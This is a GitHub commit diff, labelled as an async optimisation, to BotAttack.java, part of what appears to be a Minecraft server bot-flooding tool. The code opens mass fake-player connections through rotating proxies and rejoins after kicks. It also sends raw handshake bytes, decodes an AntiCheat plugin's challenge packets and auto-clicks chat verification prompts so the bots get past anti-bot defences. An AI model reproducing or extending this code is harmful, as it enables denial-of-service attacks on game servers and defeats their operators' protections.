异步优化

This commit is contained in:
SerendipityR 2022-10-06 01:00:06 +08:00 committed by GitHub
parent d09c0b8d18
commit 3058ec8a7b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -11,7 +11,6 @@ import io.netty.util.internal.ConcurrentSet;
import org.spacehq.mc.protocol.MinecraftProtocol;
import org.spacehq.mc.protocol.data.message.Message;
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
@ -28,7 +27,6 @@ import org.spacehq.packetlib.tcp.TcpSessionFactory;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.net.Proxy;
@ -114,8 +112,6 @@ public class BotAttack extends IAttack {
}
}
}
OtherUtils.doSleep(1000);
}
});
@ -207,9 +203,6 @@ public class BotAttack extends IAttack {
break;
}
boolean run = true;
while (run) {
for (String p: ProxyUtil.proxies) {
try {
if (!EndMinecraftPlusV2.isLinux) {
@ -226,21 +219,19 @@ public class BotAttack extends IAttack {
clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (this.attack_motdbefore) {
pool.submit(() -> {
if (this.attack_motdbefore) {
getMotd(proxy, ip, port);
}
client.getSession().connect(false);
});
} else {
client.getSession().connect(false);
}
if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep);
}
if (clients.size() > this.attack_maxconnect) {
run = false;
break;
}
} catch (Exception e) {
@ -248,7 +239,6 @@ public class BotAttack extends IAttack {
}
}
}
}
public Client createClient(final String ip, int port, final String username, Proxy proxy) {
Client client = new Client(ip, port, new MinecraftProtocol(username), new TcpSessionFactory(proxy));
@ -266,39 +256,34 @@ public class BotAttack extends IAttack {
throw new RuntimeException(ex);
}
}).start();
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void packetSent(PacketSentEvent e) {
}
public void connected(ConnectedEvent e) {
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
}
public void disconnecting(DisconnectingEvent e) {
}
public void disconnected(DisconnectedEvent e) {
new Thread(() -> {
String msg;
if (e.getCause() == null) {
msg = e.getReason();
LogUtil.doLog(0,"[假人断开连接] [" + username + "] " + msg, "BotAttack");
if (ConfigUtil.SaveWorkingProxy) {
ProxyUtil.saveWorkingProxy(proxy);
}
for (String rejoinDetect:ConfigUtil.RejoinDetect) {
if (rejoinPlayers.contains(username)) {
break;
}
if (msg.contains(rejoinDetect)) {
new Thread(() -> {
rejoinPlayers.add(username);
for (int i = 0; i < ConfigUtil.RejoinCount; i++) {
@ -322,7 +307,8 @@ public class BotAttack extends IAttack {
}
rejoinPlayers.remove(username);
}).start();
break;
}
}
} else if (ConfigUtil.ShowFails) {
@ -332,8 +318,10 @@ public class BotAttack extends IAttack {
failed++;
alivePlayers.remove(username);
}).start();
}
});
return client;
}
@ -341,22 +329,14 @@ public class BotAttack extends IAttack {
try {
Socket socket = new Socket(proxy);
socket.connect(new InetSocketAddress(ip, port));
if (socket.isConnected()) {
OutputStream out = socket.getOutputStream();
InputStream in = socket.getInputStream();
out.write(new byte[]{0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01});
out.write(new byte[]{0x01, 0x00});
out.flush();
in.read();
try {
in.close();
out.close();
socket.close();
} catch (Exception ignored) {}
return;
}
socket.close();
} catch (Exception ignored) {}
}
@ -364,6 +344,7 @@ public class BotAttack extends IAttack {
protected void handlePacket(Session session, Packet recvPacket, String username) throws IOException {
if (recvPacket instanceof ServerPluginMessagePacket) {
ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
switch (packet.getChannel()) {
case "AntiCheat3.4.3":
String code = ac3.uncompress(packet.getData());
@ -436,6 +417,12 @@ public class BotAttack extends IAttack {
} else if (recvPacket instanceof ServerChatPacket) {
ServerChatPacket chatPacket = (ServerChatPacket) recvPacket;
clickVerifiesHandle(chatPacket.getMessage(), session, username);
Message message = chatPacket.getMessage();
if (!message.getFullText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
}
} else if (recvPacket instanceof ServerKeepAlivePacket) {
// ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
// session.send(keepAlivePacket);
@ -462,10 +449,6 @@ public class BotAttack extends IAttack {
session.send(new ClientChatPacket(message.getStyle().getClickEvent().getValue()));
clickVerifies++;
} else {
if (!message.getText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message, "BotAttack");
}
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}